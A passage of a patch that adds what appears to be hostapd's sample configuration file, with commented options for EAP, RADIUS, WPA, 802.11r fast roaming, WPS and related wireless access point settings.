++# 1 = check the CRL of the user certificate
++# 2 = check all CRLs in the certificate path
++#check_crl=1
++
++# TLS Session Lifetime in seconds
++# This can be used to allow TLS sessions to be cached and resumed with an
++# abbreviated handshake when using EAP-TLS/TTLS/PEAP.
++# (default: 0 = session caching and resumption disabled)
++#tls_session_lifetime=3600
++
++# Cached OCSP stapling response (DER encoded)
++# If set, this file is sent as a certificate status response by the EAP server
++# if the EAP peer requests certificate status in the ClientHello message.
++# This cache file can be updated, e.g., by running following command
++# periodically to get an update from the OCSP responder:
++# openssl ocsp \
++#	-no_nonce \
++#	-CAfile /etc/hostapd.ca.pem \
++#	-issuer /etc/hostapd.ca.pem \
++#	-cert /etc/hostapd.server.pem \
++#	-url http://ocsp.example.com:8888/ \
++#	-respout /tmp/ocsp-cache.der
++#ocsp_stapling_response=/tmp/ocsp-cache.der
++
++# Cached OCSP stapling response list (DER encoded OCSPResponseList)
++# This is similar to ocsp_stapling_response, but the extended version defined in
++# RFC 6961 to allow multiple OCSP responses to be provided.
++#ocsp_stapling_response_multi=/tmp/ocsp-multi-cache.der
++
++# dh_file: File path to DH/DSA parameters file (in PEM format)
++# This is an optional configuration file for setting parameters for an
++# ephemeral DH key exchange. In most cases, the default RSA authentication does
++# not use this configuration. However, it is possible setup RSA to use
++# ephemeral DH key exchange. In addition, ciphers with DSA keys always use
++# ephemeral DH keys. This can be used to achieve forward secrecy. If the file
++# is in DSA parameters format, it will be automatically converted into DH
++# params. This parameter is required if anonymous EAP-FAST is used.
++# You can generate DH parameters file with OpenSSL, e.g.,
++# "openssl dhparam -out /etc/hostapd.dh.pem 2048"
++#dh_file=/etc/hostapd.dh.pem
++
++# OpenSSL cipher string
++#
++# This is an OpenSSL specific configuration option for configuring the default
++# ciphers. If not set, "DEFAULT:!EXP:!LOW" is used as the default.
++# See https://www.openssl.org/docs/apps/ciphers.html for OpenSSL documentation
++# on cipher suite configuration. This is applicable only if hostapd is built to
++# use OpenSSL.
++#openssl_ciphers=DEFAULT:!EXP:!LOW
++
++# Fragment size for EAP methods
++#fragment_size=1400
++
++# Finite cyclic group for EAP-pwd. Number maps to group of domain parameters
++# using the IANA repository for IKE (RFC 2409).
++#pwd_group=19
++
++# Configuration data for EAP-SIM database/authentication gateway interface.
++# This is a text string in implementation specific format. The example
++# implementation in eap_sim_db.c uses this as the UNIX domain socket name for
++# the HLR/AuC gateway (e.g., hlr_auc_gw). In this case, the path uses "unix:"
++# prefix. If hostapd is built with SQLite support (CONFIG_SQLITE=y in .config),
++# database file can be described with an optional db=<path> parameter.
++#eap_sim_db=unix:/tmp/hlr_auc_gw.sock
++#eap_sim_db=unix:/tmp/hlr_auc_gw.sock db=/tmp/hostapd.db
++
++# EAP-SIM DB request timeout
++# This parameter sets the maximum time to wait for a database request response.
++# The parameter value is in seconds.
++#eap_sim_db_timeout=1
++
++# Encryption key for EAP-FAST PAC-Opaque values. This key must be a secret,
++# random value. It is configured as a 16-octet value in hex format. It can be
++# generated, e.g., with the following command:
++# od -tx1 -v -N16 /dev/random | colrm 1 8 | tr -d ' '
++#pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
++
++# EAP-FAST authority identity (A-ID)
++# A-ID indicates the identity of the authority that issues PACs. The A-ID
++# should be unique across all issuing servers. In theory, this is a variable
++# length field, but due to some existing implementations requiring A-ID to be
++# 16 octets in length, it is strongly recommended to use that length for the
++# field to provid interoperability with deployed peer implementations. This
++# field is configured in hex format.
++#eap_fast_a_id=101112131415161718191a1b1c1d1e1f
++
++# EAP-FAST authority identifier information (A-ID-Info)
++# This is a user-friendly name for the A-ID. For example, the enterprise name
++# and server name in a human-readable format. This field is encoded as UTF-8.
++#eap_fast_a_id_info=test server
++
++# Enable/disable different EAP-FAST provisioning modes:
++#0 = provisioning disabled
++#1 = only anonymous provisioning allowed
++#2 = only authenticated provisioning allowed
++#3 = both provisioning modes allowed (default)
++#eap_fast_prov=3
++
++# EAP-FAST PAC-Key lifetime in seconds (hard limit)
++#pac_key_lifetime=604800
++
++# EAP-FAST PAC-Key refresh time in seconds (soft limit on remaining hard
++# limit). The server will generate a new PAC-Key when this number of seconds
++# (or fewer) of the lifetime remains.
++#pac_key_refresh_time=86400
++
++# EAP-SIM and EAP-AKA protected success/failure indication using AT_RESULT_IND
++# (default: 0 = disabled).
++#eap_sim_aka_result_ind=1
++
++# Trusted Network Connect (TNC)
++# If enabled, TNC validation will be required before the peer is allowed to
++# connect. Note: This is only used with EAP-TTLS and EAP-FAST. If any other
++# EAP method is enabled, the peer will be allowed to connect without TNC.
++#tnc=1
++
++# EAP Re-authentication Protocol (ERP) - RFC 6696
++#
++# Whether to enable ERP on the EAP server.
++#eap_server_erp=1
++
++##### IEEE 802.11f - Inter-Access Point Protocol (IAPP) #######################
++
++# Interface to be used for IAPP broadcast packets
++#iapp_interface=eth0
++
++
++##### RADIUS client configuration #############################################
++# for IEEE 802.1X with external Authentication Server, IEEE 802.11
++# authentication with external ACL for MAC addresses, and accounting
++
++# The own IP address of the access point (used as NAS-IP-Address)
++own_ip_addr=127.0.0.1
++
++# NAS-Identifier string for RADIUS messages. When used, this should be unique
++# to the NAS within the scope of the RADIUS server. Please note that hostapd
++# uses a separate RADIUS client for each BSS and as such, a unique
++# nas_identifier value should be configured separately for each BSS. This is
++# particularly important for cases where RADIUS accounting is used
++# (Accounting-On/Off messages are interpreted as clearing all ongoing sessions
++# and that may get interpreted as applying to all BSSes if the same
++# NAS-Identifier value is used.) For example, a fully qualified domain name
++# prefixed with a unique identifier of the BSS (e.g., BSSID) can be used here.
++#
++# When using IEEE 802.11r, nas_identifier must be set and must be between 1 and
++# 48 octets long.
++#
++# It is mandatory to configure either own_ip_addr or nas_identifier to be
++# compliant with the RADIUS protocol. When using RADIUS accounting, it is
++# strongly recommended that nas_identifier is set to a unique value for each
++# BSS.
++#nas_identifier=ap.example.com
++
++# RADIUS client forced local IP address for the access point
++# Normally the local IP address is determined automatically based on configured
++# IP addresses, but this field can be used to force a specific address to be
++# used, e.g., when the device has multiple IP addresses.
++#radius_client_addr=127.0.0.1
++
++# RADIUS authentication server
++#auth_server_addr=127.0.0.1
++#auth_server_port=1812
++#auth_server_shared_secret=secret
++
++# RADIUS accounting server
++#acct_server_addr=127.0.0.1
++#acct_server_port=1813
++#acct_server_shared_secret=secret
++
++# Secondary RADIUS servers; to be used if primary one does not reply to
++# RADIUS packets. These are optional and there can be more than one secondary
++# server listed.
++#auth_server_addr=127.0.0.2
++#auth_server_port=1812
++#auth_server_shared_secret=secret2
++#
++#acct_server_addr=127.0.0.2
++#acct_server_port=1813
++#acct_server_shared_secret=secret2
++
++# Retry interval for trying to return to the primary RADIUS server (in
++# seconds). RADIUS client code will automatically try to use the next server
++# when the current server is not replying to requests. If this interval is set,
++# primary server will be retried after configured amount of time even if the
++# currently used secondary server is still working.
++#radius_retry_primary_interval=600
++
++
++# Interim accounting update interval
++# If this is set (larger than 0) and acct_server is configured, hostapd will
++# send interim accounting updates every N seconds. Note: if set, this overrides
++# possible Acct-Interim-Interval attribute in Access-Accept message. Thus, this
++# value should not be configured in hostapd.conf, if RADIUS server is used to
++# control the interim interval.
++# This value should not be less 600 (10 minutes) and must not be less than
++# 60 (1 minute).
++#radius_acct_interim_interval=600
++
++# Request Chargeable-User-Identity (RFC 4372)
++# This parameter can be used to configure hostapd to request CUI from the
++# RADIUS server by including Chargeable-User-Identity attribute into
++# Access-Request packets.
++#radius_request_cui=1
++
++# Dynamic VLAN mode; allow RADIUS authentication server to decide which VLAN
++# is used for the stations. This information is parsed from following RADIUS
++# attributes based on RFC 3580 and RFC 2868: Tunnel-Type (value 13 = VLAN),
++# Tunnel-Medium-Type (value 6 = IEEE 802), Tunnel-Private-Group-ID (value
++# VLANID as a string). Optionally, the local MAC ACL list (accept_mac_file) can
++# be used to set static client MAC address to VLAN ID mapping.
++# 0 = disabled (default)
++# 1 = option; use default interface if RADIUS server does not include VLAN ID
++# 2 = required; reject authentication if RADIUS server does not include VLAN ID
++#dynamic_vlan=0
++
++# Per-Station AP_VLAN interface mode
++# If enabled, each station is assigned its own AP_VLAN interface.
++# This implies per-station group keying and ebtables filtering of inter-STA
++# traffic (when passed through the AP).
++# If the sta is not assigned to any VLAN, then its AP_VLAN interface will be
++# added to the bridge given by the "bridge" configuration option (see above).
++# Otherwise, it will be added to the per-VLAN bridge.
++# 0 = disabled (default)
++# 1 = enabled
++#per_sta_vif=0
++
++# VLAN interface list for dynamic VLAN mode is read from a separate text file.
++# This list is used to map VLAN ID from the RADIUS server to a network
++# interface. Each station is bound to one interface in the same way as with
++# multiple BSSIDs or SSIDs. Each line in this text file is defining a new
++# interface and the line must include VLAN ID and interface name separated by
++# white space (space or tab).
++# If no entries are provided by this file, the station is statically mapped
++# to <bss-iface>.<vlan-id> interfaces.
++#vlan_file=/etc/hostapd.vlan
++
++# Interface where 802.1q tagged packets should appear when a RADIUS server is
++# used to determine which VLAN a station is on.  hostapd creates a bridge for
++# each VLAN.  Then hostapd adds a VLAN interface (associated with the interface
++# indicated by 'vlan_tagged_interface') and the appropriate wireless interface
++# to the bridge.
++#vlan_tagged_interface=eth0
++
++# Bridge (prefix) to add the wifi and the tagged interface to. This gets the
++# VLAN ID appended. It defaults to brvlan%d if no tagged interface is given
++# and br%s.%d if a tagged interface is given, provided %s = tagged interface
++# and %d = VLAN ID.
++#vlan_bridge=brvlan
++
++# When hostapd creates a VLAN interface on vlan_tagged_interfaces, it needs
++# to know how to name it.
++# 0 = vlan<XXX>, e.g., vlan1
++# 1 = <vlan_tagged_interface>.<XXX>, e.g. eth0.1
++#vlan_naming=0
++
++# Arbitrary RADIUS attributes can be added into Access-Request and
++# Accounting-Request packets by specifying the contents of the attributes with
++# the following configuration parameters. There can be multiple of these to
++# add multiple attributes. These parameters can also be used to override some
++# of the attributes added automatically by hostapd.
++# Format: <attr_id>:<syntax:value>
++# attr_id: RADIUS attribute type (e.g., 26 = Vendor-Specific)
++# syntax: s = string (UTF-8), d = integer, x = octet string
++# value: attribute value in format indicated by the syntax
++# If syntax and value parts are omitted, a null value (single 0x00 octet) is
++# used.
++#
++# Additional Access-Request attributes
++# radius_auth_req_attr=<attr_id>:<syntax:value>
++# Examples:
++# Operator-Name = "Operator"
++#radius_auth_req_attr=126:s:Operator
++# Service-Type = Framed (2)
++#radius_auth_req_attr=6:d:2
++# Connect-Info = "testing" (this overrides the automatically generated value)
++#radius_auth_req_attr=77:s:testing
++# Same Connect-Info value set as a hexdump
++#radius_auth_req_attr=77:x:74657374696e67
++
++#
++# Additional Accounting-Request attributes
++# radius_acct_req_attr=<attr_id>:<syntax:value>
++# Examples:
++# Operator-Name = "Operator"
++#radius_acct_req_attr=126:s:Operator
++
++# Dynamic Authorization Extensions (RFC 5176)
++# This mechanism can be used to allow dynamic changes to user session based on
++# commands from a RADIUS server (or some other disconnect client that has the
++# needed session information). For example, Disconnect message can be used to
++# request an associated station to be disconnected.
++#
++# This is disabled by default. Set radius_das_port to non-zero UDP port
++# number to enable.
++#radius_das_port=3799
++#
++# DAS client (the host that can send Disconnect/CoA requests) and shared secret
++#radius_das_client=192.168.1.123 shared secret here
++#
++# DAS Event-Timestamp time window in seconds
++#radius_das_time_window=300
++#
++# DAS require Event-Timestamp
++#radius_das_require_event_timestamp=1
++#
++# DAS require Message-Authenticator
++#radius_das_require_message_authenticator=1
++
++##### RADIUS authentication server configuration ##############################
++
++# hostapd can be used as a RADIUS authentication server for other hosts. This
++# requires that the integrated EAP server is also enabled and both
++# authentication services are sharing the same configuration.
++
++# File name of the RADIUS clients configuration for the RADIUS server. If this
++# commented out, RADIUS server is disabled.
++#radius_server_clients=/etc/hostapd.radius_clients
++
++# The UDP port number for the RADIUS authentication server
++#radius_server_auth_port=1812
++
++# The UDP port number for the RADIUS accounting server
++# Commenting this out or setting this to 0 can be used to disable RADIUS
++# accounting while still enabling RADIUS authentication.
++#radius_server_acct_port=1813
++
++# Use IPv6 with RADIUS server (IPv4 will also be supported using IPv6 API)
++#radius_server_ipv6=1
++
++
++##### WPA/IEEE 802.11i configuration ##########################################
++
++# Enable WPA. Setting this variable configures the AP to require WPA (either
++# WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either
++# wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK.
++# Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice.
++# For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys),
++# RADIUS authentication server must be configured, and WPA-EAP must be included
++# in wpa_key_mgmt.
++# This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0)
++# and/or WPA2 (full IEEE 802.11i/RSN):
++# bit0 = WPA
++# bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
++#wpa=1
++
++# WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
++# secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
++# (8..63 characters) that will be converted to PSK. This conversion uses SSID
++# so the PSK changes when ASCII passphrase is used and the SSID is changed.
++# wpa_psk (dot11RSNAConfigPSKValue)
++# wpa_passphrase (dot11RSNAConfigPSKPassPhrase)
++#wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
++#wpa_passphrase=secret passphrase
++
++# Optionally, WPA PSKs can be read from a separate text file (containing list
++# of (PSK,MAC address) pairs. This allows more than one PSK to be configured.
++# Use absolute path name to make sure that the files can be read on SIGHUP
++# configuration reloads.
++#wpa_psk_file=/etc/hostapd.wpa_psk
++
++# Optionally, WPA passphrase can be received from RADIUS authentication server
++# This requires macaddr_acl to be set to 2 (RADIUS)
++# 0 = disabled (default)
++# 1 = optional; use default passphrase/psk if RADIUS server does not include
++#	Tunnel-Password
++# 2 = required; reject authentication if RADIUS server does not include
++#	Tunnel-Password
++#wpa_psk_radius=0
++
++# Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The
++# entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be
++# added to enable SHA256-based stronger algorithms.
++# (dot11RSNAConfigAuthenticationSuitesTable)
++#wpa_key_mgmt=WPA-PSK WPA-EAP
++
++# Set of accepted cipher suites (encryption algorithms) for pairwise keys
++# (unicast packets). This is a space separated list of algorithms:
++# CCMP = AES in Counter mode with CBC-MAC RFC 3610, IEEE 802.11i/D7.0
++# TKIP = Temporal Key Integrity Protocol IEEE 802.11i/D7.0
++# Group cipher suite (encryption algorithm for broadcast and multicast frames)
++# is automatically selected based on this configuration. If only CCMP is
++# allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise,
++# TKIP will be used as the group cipher.
++# (dot11RSNAConfigPairwiseCiphersTable)
++# Pairwise cipher for WPA (v1) (default: TKIP)
++#wpa_pairwise=TKIP CCMP
++# Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value)
++#rsn_pairwise=CCMP
++
++# Time interval for rekeying GTK (broadcast/multicast encryption keys) in
++# seconds. (dot11RSNAConfigGroupRekeyTime)
++#wpa_group_rekey=600
++
++# Rekey GTK when any STA that possesses the current GTK is leaving the BSS.
++# (dot11RSNAConfigGroupRekeyStrict)
++#wpa_strict_rekey=1
++
++# Time interval for rekeying GMK (master key used internally to generate GTKs
++# (in seconds).
++#wpa_gmk_rekey=86400
++
++# Maximum lifetime for PTK in seconds. This can be used to enforce rekeying of
++# PTK to mitigate some attacks against TKIP deficiencies.
++#wpa_ptk_rekey=600
++
++# Enable IEEE 802.11i/RSN/WPA2 pre-authentication. This is used to speed up
++# roaming be pre-authenticating IEEE 802.1X/EAP part of the full RSN
++# authentication and key handshake before actually associating with a new AP.
++# (dot11RSNAPreauthenticationEnabled)
++#rsn_preauth=1
++#
++# Space separated list of interfaces from which pre-authentication frames are
++# accepted (e.g., 'eth0' or 'eth0 wlan0wds0'. This list should include all
++# interface that are used for connections to other APs. This could include
++# wired interfaces and WDS links. The normal wireless data interface towards
++# associated stations (e.g., wlan0) should not be added, since
++# pre-authentication is only used with APs other than the currently associated
++# one.
++#rsn_preauth_interfaces=eth0
++
++# peerkey: Whether PeerKey negotiation for direct links (IEEE 802.11e) is
++# allowed. This is only used with RSN/WPA2.
++# 0 = disabled (default)
++# 1 = enabled
++#peerkey=1
++
++# ieee80211w: Whether management frame protection (MFP) is enabled
++# 0 = disabled (default)
++# 1 = optional
++# 2 = required
++#ieee80211w=0
++
++# Group management cipher suite
++# Default: AES-128-CMAC (BIP)
++# Other options (depending on driver support):
++# BIP-GMAC-128
++# BIP-GMAC-256
++# BIP-CMAC-256
++# Note: All the stations connecting to the BSS will also need to support the
++# selected cipher. The default AES-128-CMAC is the only option that is commonly
++# available in deployed devices.
++#group_mgmt_cipher=AES-128-CMAC
++
++# Association SA Query maximum timeout (in TU = 1.024 ms; for MFP)
++# (maximum time to wait for a SA Query response)
++# dot11AssociationSAQueryMaximumTimeout, 1...4294967295
++#assoc_sa_query_max_timeout=1000
++
++# Association SA Query retry timeout (in TU = 1.024 ms; for MFP)
++# (time between two subsequent SA Query requests)
++# dot11AssociationSAQueryRetryTimeout, 1...4294967295
++#assoc_sa_query_retry_timeout=201
++
++# disable_pmksa_caching: Disable PMKSA caching
++# This parameter can be used to disable caching of PMKSA created through EAP
++# authentication. RSN preauthentication may still end up using PMKSA caching if
++# it is enabled (rsn_preauth=1).
++# 0 = PMKSA caching enabled (default)
++# 1 = PMKSA caching disabled
++#disable_pmksa_caching=0
++
++# okc: Opportunistic Key Caching (aka Proactive Key Caching)
++# Allow PMK cache to be shared opportunistically among configured interfaces
++# and BSSes (i.e., all configurations within a single hostapd process).
++# 0 = disabled (default)
++# 1 = enabled
++#okc=1
++
++# SAE threshold for anti-clogging mechanism (dot11RSNASAEAntiCloggingThreshold)
++# This parameter defines how many open SAE instances can be in progress at the
++# same time before the anti-clogging mechanism is taken into use.
++#sae_anti_clogging_threshold=5
++
++# Enabled SAE finite cyclic groups
++# SAE implementation are required to support group 19 (ECC group defined over a
++# 256-bit prime order field). All groups that are supported by the
++# implementation are enabled by default. This configuration parameter can be
++# used to specify a limited set of allowed groups. The group values are listed
++# in the IANA registry:
++# http://www.iana.org/assignments/ipsec-registry/ipsec-registry.xml#ipsec-registry-9
++#sae_groups=19 20 21 25 26
++
++##### IEEE 802.11r configuration ##############################################
++
++# Mobility Domain identifier (dot11FTMobilityDomainID, MDID)
++# MDID is used to indicate a group of APs (within an ESS, i.e., sharing the
++# same SSID) between which a STA can use Fast BSS Transition.
++# 2-octet identifier as a hex string.
++#mobility_domain=a1b2
++
++# PMK-R0 Key Holder identifier (dot11FTR0KeyHolderID)
++# 1 to 48 octet identifier.
++# This is configured with nas_identifier (see RADIUS client section above).
++
++# Default lifetime of the PMK-RO in minutes; range 1..65535
++# (dot11FTR0KeyLifetime)
++#r0_key_lifetime=10000
++
++# PMK-R1 Key Holder identifier (dot11FTR1KeyHolderID)
++# 6-octet identifier as a hex string.
++# Defaults to BSSID.
++#r1_key_holder=000102030405
++
++# Reassociation deadline in time units (TUs / 1.024 ms; range 1000..65535)
++# (dot11FTReassociationDeadline)
++#reassociation_deadline=1000
++
++# List of R0KHs in the same Mobility Domain
++# format: <MAC address> <NAS Identifier> <128-bit key as hex string>
++# This list is used to map R0KH-ID (NAS Identifier) to a destination MAC
++# address when requesting PMK-R1 key from the R0KH that the STA used during the
++# Initial Mobility Domain Association.
++#r0kh=02:01:02:03:04:05 r0kh-1.example.com 000102030405060708090a0b0c0d0e0f
++#r0kh=02:01:02:03:04:06 r0kh-2.example.com 00112233445566778899aabbccddeeff
++# And so on.. One line per R0KH.
++
++# List of R1KHs in the same Mobility Domain
++# format: <MAC address> <R1KH-ID> <128-bit key as hex string>
++# This list is used to map R1KH-ID to a destination MAC address when sending
++# PMK-R1 key from the R0KH. This is also the list of authorized R1KHs in the MD
++# that can request PMK-R1 keys.
++#r1kh=02:01:02:03:04:05 02:11:22:33:44:55 000102030405060708090a0b0c0d0e0f
++#r1kh=02:01:02:03:04:06 02:11:22:33:44:66 00112233445566778899aabbccddeeff
++# And so on.. One line per R1KH.
++
++# Whether PMK-R1 push is enabled at R0KH
++# 0 = do not push PMK-R1 to all configured R1KHs (default)
++# 1 = push PMK-R1 to all configured R1KHs whenever a new PMK-R0 is derived
++#pmk_r1_push=1
++
++# Whether to enable FT-over-DS
++# 0 = FT-over-DS disabled
++# 1 = FT-over-DS enabled (default)
++#ft_over_ds=1
++
++##### Neighbor table ##########################################################
++# Maximum number of entries kept in AP table (either for neigbor table or for
++# detecting Overlapping Legacy BSS Condition). The oldest entry will be
++# removed when adding a new entry that would make the list grow over this
++# limit. Note! WFA certification for IEEE 802.11g requires that OLBC is
++# enabled, so this field should not be set to 0 when using IEEE 802.11g.
++# default: 255
++#ap_table_max_size=255
++
++# Number of seconds of no frames received after which entries may be deleted
++# from the AP table. Since passive scanning is not usually performed frequently
++# this should not be set to very small value. In addition, there is no
++# guarantee that every scan cycle will receive beacon frames from the
++# neighboring APs.
++# default: 60
++#ap_table_expiration_time=3600
++
++# Maximum number of stations to track on the operating channel
++# This can be used to detect dualband capable stations before they have
++# associated, e.g., to provide guidance on which colocated BSS to use.
++# Default: 0 (disabled)
++#track_sta_max_num=100
++
++# Maximum age of a station tracking entry in seconds
++# Default: 180
++#track_sta_max_age=180
++
++# Do not reply to group-addressed Probe Request from a station that was seen on
++# another radio.
++# Default: Disabled
++#
++# This can be used with enabled track_sta_max_num configuration on another
++# interface controlled by the same hostapd process to restrict Probe Request
++# frame handling from replying to group-addressed Probe Request frames from a
++# station that has been detected to be capable of operating on another band,
++# e.g., to try to reduce likelihood of the station selecting a 2.4 GHz BSS when
++# the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
++#
++# Note: Enabling this can cause connectivity issues and increase latency for
++# discovering the AP.
++#no_probe_resp_if_seen_on=wlan1
++
++# Reject authentication from a station that was seen on another radio.
++# Default: Disabled
++#
++# This can be used with enabled track_sta_max_num configuration on another
++# interface controlled by the same hostapd process to reject authentication
++# attempts from a station that has been detected to be capable of operating on
++# another band, e.g., to try to reduce likelihood of the station selecting a
++# 2.4 GHz BSS when the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
++#
++# Note: Enabling this can cause connectivity issues and increase latency for
++# connecting with the AP.
++#no_auth_if_seen_on=wlan1
++
++##### Wi-Fi Protected Setup (WPS) #############################################
++
++# WPS state
++# 0 = WPS disabled (default)
++# 1 = WPS enabled, not configured
++# 2 = WPS enabled, configured
++#wps_state=2
++
++# Whether to manage this interface independently from other WPS interfaces
++# By default, a single hostapd process applies WPS operations to all configured
++# interfaces. This parameter can be used to disable that behavior for a subset
++# of interfaces. If this is set to non-zero for an interface, WPS commands
++# issued on that interface do not apply to other interfaces and WPS operations
++# performed on other interfaces do not affect this interface.
++#wps_independent=0
++
++# AP can be configured into a locked state where new WPS Registrar are not
++# accepted, but previously authorized Registrars (including the internal one)
++# can continue to add new Enrollees.
++#ap_setup_locked=1
++
++# Universally Unique IDentifier (UUID; see RFC 4122) of the device
++# This value is used as the UUID for the internal WPS Registrar. If the AP
++# is also using UPnP, this value should be set to the device's UPnP UUID.
++# If not configured, UUID will be generated based on the local MAC address.
++#uuid=12345678-9abc-def0-1234-56789abcdef0
++
++# Note: If wpa_psk_file is set, WPS is used to generate random, per-device PSKs
++# that will be appended to the wpa_psk_file. If wpa_psk_file is not set, the
++# default PSK (wpa_psk/wpa_passphrase) will be delivered to Enrollees. Use of
++# per-device PSKs is recommended as the more secure option (i.e., make sure to
++# set wpa_psk_file when using WPS with WPA-PSK).
++
++# When an Enrollee requests access to the network with PIN method, the Enrollee
++# PIN will need to be entered for the Registrar. PIN request notifications are
++# sent to hostapd ctrl_iface monitor. In addition, they can be written to a
++# text file that could be used, e.g., to populate the AP administration UI with
++# pending PIN requests. If the following variable is set, the PIN requests will
++# be written to the configured file.
++#wps_pin_requests=/var/run/hostapd_wps_pin_requests
++
++# Device Name
++# User-friendly description of device; up to 32 octets encoded in UTF-8
++#device_name=Wireless AP
++
++# Manufacturer
++# The manufacturer of the device (up to 64 ASCII characters)
++#manufacturer=Company
++
++# Model Name
++# Model of the device (up to 32 ASCII characters)
++#model_name=WAP
++
++# Model Number
++# Additional device description (up to 32 ASCII characters)
++#model_number=123
++
++# Serial Number
++# Serial number of the device (up to 32 characters)
++#serial_number=12345
++
++# Primary Device Type
++# Used format: <categ>-<OUI>-<subcateg>
++# categ = Category as an integer value
++# OUI = OUI and type octet as a 4-octet hex-encoded value; 0050F204 for
++#       default WPS OUI
++# subcateg = OUI-specific Sub Category as an integer value
++# Examples:
++#   1-0050F204-1 (Computer / PC)
++#   1-0050F204-2 (Computer / Server)
++#   5-0050F204-1 (Storage / NAS)
++#   6-0050F204-1 (Network Infrastructure / AP)
++#device_type=6-0050F204-1
++
++# OS Version
++# 4-octet operating system version number (hex string)
++#os_version=01020300
++
++# Config Methods
++# List of the supported configuration methods
++# Available methods: usba ethernet label display ext_nfc_token int_nfc_token
++#	nfc_interface push_button keypad virtual_display physical_display
++#	virtual_push_button physical_push_button
++#config_methods=label virtual_display virtual_push_button keypad
++
++# WPS capability discovery workaround for PBC with Windows 7
++# Windows 7 uses incorrect way of figuring out AP's WPS capabilities by acting
++# as a Registrar and using M1 from the AP. The config methods attribute in that
++# message is supposed to indicate only the configuration method supported by
++# the AP in Enrollee role, i.e., to add an external Registrar. For that case,
++# PBC shall not be used and as such, the PushButton config method is removed
++# from M1 by default. If pbc_in_m1=1 is included in the configuration file,
++# the PushButton config method is left in M1 (if included in config_methods
++# parameter) to allow Windows 7 to use PBC instead of PIN (e.g., from a label
++# in the AP).
++#pbc_in_m1=1
++
++# Static access point PIN for initial configuration and adding Registrars
++# If not set, hostapd will not allow external WPS Registrars to control the
++# access point. The AP PIN can also be set at runtime with hostapd_cli
++# wps_ap_pin command. Use of temporary (enabled by user action) and random
++# AP PIN is much more secure than configuring a static AP PIN here. As such,
++# use of the ap_pin parameter is not recommended if the AP device has means for
++# displaying a random PIN.
++#ap_pin=12345670
++
++# Skip building of automatic WPS credential
++# This can be used to allow the automatically generated Credential attribute to
++# be replaced with pre-configured Credential(s).
++#skip_cred_build=1
++
++# Additional Credential attribute(s)
++# This option can be used to add pre-configured Credential attributes into M8
++# message when acting as a Registrar. If skip_cred_build=1, this data will also
++# be able to override the Credential attribute that would have otherwise been
++# automatically generated based on network configuration. This configuration
++# option points to an external file that much contain the WPS Credential
++# attribute(s) as binary data.
++#extra_cred=hostapd.cred
++
++# Credential processing
++#   0 = process received credentials internally (default)
++#   1 = do not process received credentials; just pass them over ctrl_iface to
++#	external program(s)
++#   2 = process received credentials internally and pass them over ctrl_iface
++#	to external program(s)
++# Note: With wps_cred_processing=1, skip_cred_build should be set to 1 and
++# extra_cred be used to provide the Credential data for Enrollees.
++#
++# wps_cred_processing=1 will disabled automatic updates of hostapd.conf file
++# both for Credential processing and for marking AP Setup Locked based on
++# validation failures of AP PIN. An external program is responsible on updating
++# the configuration appropriately in this case.
++#wps_cred_processing=0
++
++# AP Settings Attributes for M7
++# By default, hostapd generates the AP Settings Attributes for M7 based on the
++# current configuration. It is possible to override this by providing a file
++# with pre-configured attributes. This is similar to extra_cred file format,
++# but the AP Settings attributes are not encapsulated in a Credential
++# attribute.
++#ap_settings=hostapd.ap_settings
++
++# WPS UPnP interface
++# If set, support for external Registrars is enabled.
++#upnp_iface=br0
++
++# Friendly Name (required for UPnP)
++# Short description for end use. Should be less than 64 characters.
++#friendly_name=WPS Access Point
++
++# Manufacturer URL (optional for UPnP)
++#manufacturer_url=http://www.example.com/
++
++# Model Description (recommended for UPnP)
++# Long description for end user. Should be less than 128 characters.
++#model_description=Wireless Access Point
++
++# Model URL (optional for UPnP)
++#model_url=http://www.example.com/model/
++
++# Universal Product Code (optional for UPnP)
++# 12-digit, all-numeric code that identifies the consumer package.
++#upc=123456789012
++
++# WPS RF Bands (a = 5G, b = 2.4G, g = 2.4G, ag = dual band, ad = 60 GHz)
++# This value should be set according to RF band(s) supported by the AP if
++# hw_mode is not set. For dual band dual concurrent devices, this needs to be
++# set to ag to allow both RF bands to be advertized.
++#wps_rf_bands=ag
++
++# NFC password token for WPS
++# These parameters can be used to configure a fixed NFC password token for the
++# AP. This can be generated, e.g., with nfc_pw_token from wpa_supplicant. When
++# these parameters are used, the AP is assumed to be deployed with a NFC tag
++# that includes the matching NFC password token (e.g., written based on the
++# NDEF record from nfc_pw_token).
++#
++#wps_nfc_dev_pw_id: Device Password ID (16..65535)
++#wps_nfc_dh_pubkey: Hexdump of DH Public Key
++#wps_nfc_dh_privkey: Hexdump of DH Private Key
++#wps_nfc_dev_pw: Hexdump of Device Password
++
++##### Wi-Fi Direct (P2P) ######################################################
++
++# Enable P2P Device management
++#manage_p2p=1
++
++# Allow cross connection
++#allow_cross_connection=1
++
++#### TDLS (IEEE 802.11z-2010) #################################################
++
++# Prohibit use of TDLS in this BSS
++#tdls_prohibit=1
++
++# Prohibit use of TDLS Channel Switching in this BSS
++#tdls_prohibit_chan_switch=1
++
++##### IEEE 802.11v-2011 #######################################################
++
++# Time advertisement
++# 0 = disabled (default)
++# 2 = UTC time at which the TSF timer is 0
++#time_advertisement=2
++
++# Local time zone as specified in 8.3 of IEEE Std 1003.1-2004:
++# stdoffsetdstoffset,start/time,end/time
++#time_zone=EST5
++
++# WNM-Sleep Mode (extended sleep mode for stations)
++# 0 = disabled (default)
++# 1 = enabled (allow stations to use WNM-Sleep Mode)
++#wnm_sleep_mode=1
++
++# BSS Transition Management
++# 0 = disabled (default)
++# 1 = enabled
++#bss_transition=1
++
++# Proxy ARP
++# 0 = disabled (default)
++# 1 = enabled
++#proxy_arp=1
++
